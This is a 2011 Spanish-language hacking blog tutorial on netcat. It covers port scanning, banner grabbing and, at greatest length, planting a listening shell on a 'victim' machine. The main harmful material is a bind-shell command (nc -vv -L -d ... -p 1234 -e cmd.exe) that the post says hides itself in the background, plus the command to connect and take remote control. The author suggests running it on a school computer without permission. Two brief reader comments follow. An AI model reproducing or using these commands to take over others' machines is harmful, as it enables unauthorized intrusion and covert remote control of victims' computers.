[NC | Tutorial] Netcat: La navaja suiza de los Hackers.

martes, 8 de noviembre de 2011
Buenas,

bienvenidos a un nuevo tutorial sobre herramientas imprescindibles de Hacking. Me dispongo a explicar en que consiste la famosa herramienta NetCat.

Sencillamente es una herramienta que establece conexiones TCP/IP, es su explicación básica, sin embargo cumple muchísimas funciones más como por ejemplo: transferencia de archivos, escaner de puertos y más atributos, conexiones entre máquinas (servidores, ordenadores y otros.)

Otro dato importantísimo es que cumple las propiedades de Multiplataforma, es decir, funciona tanto bajo S.O Windows, distros Linux o Mac OSX lo que proporciona una comunicacion entre sistemas con distinto sistema operativo lo que no limita por el hecho de utilizar un soporte diferente, en mi opinión es la salvación ya que me da igual en que máquina estar. Por eso es llamado ""La navaja suiza de los Hackers"" por su gran versatilidad y sencillez puedes realizar acciones sin tener que utilizar otras herramientas.

Para máquinas que utilicen distros de Linux aquí les dejo un Link para descargar NetCat (última versión)
http://netcat.sourceforge.net/download.php

Ahora les explicaré su funcionamiento ya que aclaré en que consistía NetCat, veamos unos cuantos ejemplos de su utilización. Antes de nada el prefijo para cualquier comando utilizando NetCat es: nc [comando] [atributos] ...

Escaneo de puertos con NetCat


NetCat es capaz de realizar escaneo de puertos en una velocidad bastante rápida, nos listará todos los puertos que le mandemos que escanee, abiertos o cerrados.

Comando:
nc -vv -w 2 -z [ip del objetivo] [puerto inicial] - [puerto final]

El atributo -z nos permite prevenir el envio de datos TCP en una conexion y muy pocos paquetes UDP, de esta forma el escaneo será mucho más rápido. Si queremos incluir un retardo de tiempo en cada puerto escaneado introduciremos en el comando el atributo -i [segundos].

Ejemplo práctico: nc -vv -w2 -z localhost 1-100 .. esto sacará todos los puertos abiertos o cerrados de mi máquina desde el 1 al 100.

Obtener información de máquinas

NetCat nos brinda la opción a la vez que nmap (o telnet) de recibir los mensajes de cabecera http de los servidores, de esta manera podemos obtener información acerca del servidor objetivo ya sea el servidor en el que esta corriendo, SO, servicios...

Comando:
nc -vv -n [ip del objetivo] [puerto/servicio]

una vez introducido este comando debemos teclear GET HTTP para que retorne toda la información relacionada con la accion GET del HTTP/1.1



Ahora llega lo más divertido :)

Conexiones/obtener shell con NetCat

Bueno ésta es la parte más funcional de NetCat ya que es para lo que más se utiliza. Esta función es muy recurrida en Malware para obtener una shell de la máquina víctima para poder controlar su ordenador y obtener información acerca de éste. NetCat en sí conecta dos máquinas y otorga la posibilidad de abrir un proceso del equipo al que nos conectamos (cmd.exe), allá cada uno con sus fines, me voy a limitar unicamente a explicar lo necesario para establecer conexiones entre ordenadores.

Dejar a la escucha una shell en un puerto  en la maquina victima:

nc -vv [-L] [-l] [-d] [ip de nuestra maquina] [-p puerto] 
[-e programa que se ejecutará al conectar con la víctima]

es bastante pero es fácil de comprender una vez bien explicado, este comando debe escribirse en el ordenador al que nos queremos conectar, esto es muy importante. Por ejemplo, quiero conectarme al ordenador X de mi colegio, pues debo ingeniarmelas para ingresar el comando de arriba en él.
Las opción -l significa una sóla conexión, es decir si interrumpimos la conexion con el ordenador al que nos hemos conectado y éste tenía la opción -l en su comando no nos podremos volver a conectar hasta que volvamos a poner en escucha un puerto. En cambio la opción -L nos deja conectarnos sin interrumpir el puerto en escucha, sin tener que volver a poner el comando anterior.
La opción -d pone el proceso nc.exe en background, es decir, lo oculta y solo será mostrado en el Administrador de Tareas (taskmsgr.exe)

Ejemplo de utilización:
nc -vv -L -d localhost -p 1234 -e cmd.exe

Ahora redactaré la vía para conectarse al puerto que hemos dejado en escucha en la máquina a la que nos queremos conectar.

Comando:
nc -vv [ip victima] [puerto en escucha]

de esta manera si todo ha salido bien se conectará a la víctima y se ejecutará su cmd, es decir, obtendremos una shell remota de la victima.




Desde ahí controlaremos la máquina que dejamos a la escucha sin tener que estar frente a ella.

He de decir que si tuviera que ir a una isla desierta llevaria netcat xD (no me han pagado por decirlo, es por experiencia ya).

Cualquier duda que tengais posteadla he intentare ir mejorando este tutorial ya que NetCat da para más.

Saludos!

2 comentarios:

Norton dijo...

Yo alucino con las capacidades de los hackers.¡Hasta dónde pueden llegar? Hoy han publicado una vulnerabilidad por la cual los hackers o cibercriminales podrían abrir puertas de cárceles. Imaginaros una cárcel con todas las celdas abiertas. Lo leí aquí: http://www.nortonfanclub.com/2011/11/abrir-las-puertas-de-prision-es-posible-para-un-hacker/ ¡Saludos!

Arthusu dijo...

Buena noticia norton ;D

Publicar un comentario